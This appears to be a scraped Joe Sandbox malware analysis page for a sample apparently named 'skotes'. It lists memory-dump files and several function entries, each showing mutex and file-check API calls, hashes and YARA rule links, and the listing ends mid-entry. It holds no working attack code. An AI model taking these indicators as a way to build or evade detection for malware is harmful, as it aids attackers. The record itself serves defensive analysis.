Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 4dcaed732dd9ce1fbbf04360c1ec4ca4d385fee1a44dae9e65f72f1fc9901741
Instruction ID: 138fe1b83e59445dd8ab2ec594ca5b491c655c440f0cca6f0fe226d7f0c0a29a
Opcode Fuzzy Hash: 4dcaed732dd9ce1fbbf04360c1ec4ca4d385fee1a44dae9e65f72f1fc9901741
Instruction Fuzzy Hash: 03314A31744144ABEB18EBB8DC8D7ACB762EB95310F24821AE155D72D2E77D59808712

Function 0078A079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A07C
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 0be3599389fae48e7cc0f469f4c995c4783b7f2422b0070d7764ef2cd5ae85fe
Instruction ID: b5f756f9dd325f4520e3a204764ca8d7376e378053ec34514658cd794a98613c
Opcode Fuzzy Hash: 0be3599389fae48e7cc0f469f4c995c4783b7f2422b0070d7764ef2cd5ae85fe
Instruction Fuzzy Hash: 39312931B84144ABFB18EBB8DCCD7ADB772EB95310F24421AE015D76D2E77D59808712

Function 0078A1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A1B1
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 577a5de6cabeca91b02d4604f4f5b0b6a6b16b59bb13dc75d204c6843a6f68bb
Instruction ID: 585294119ba5536acd2ab9e7723162e80f7c7141994f9c404bb08de8cfc8a487
Opcode Fuzzy Hash: 577a5de6cabeca91b02d4604f4f5b0b6a6b16b59bb13dc75d204c6843a6f68bb
Instruction Fuzzy Hash: CD312831B44144ABFB18EBB8ECCDBADB772ABD6310F24421AE115972D2D77D59808712

Function 0078A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A2E6
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 2c9e41cefa14fff51e3c9785d6057365919370e16f276a27808a083f798ca632
Instruction ID: 5caf88da8d89a2438ec56f24f2315cfea1e60f411ef13c8448240e250e065b82
Opcode Fuzzy Hash: 2c9e41cefa14fff51e3c9785d6057365919370e16f276a27808a083f798ca632
Instruction Fuzzy Hash: 5A314C31B84244ABFB18EB7CECCD76CB772ABD5310F20821AE015976D6D77D99808712

Function 0078A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A41B
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 9a3847881735d51de413a43efa35ece4b7ea9a7853305c77cc304465be9d3728
Instruction ID: 9c4b294649d0561e18d113635da753b4b9702855adb000c30b5de6774bdb8b81
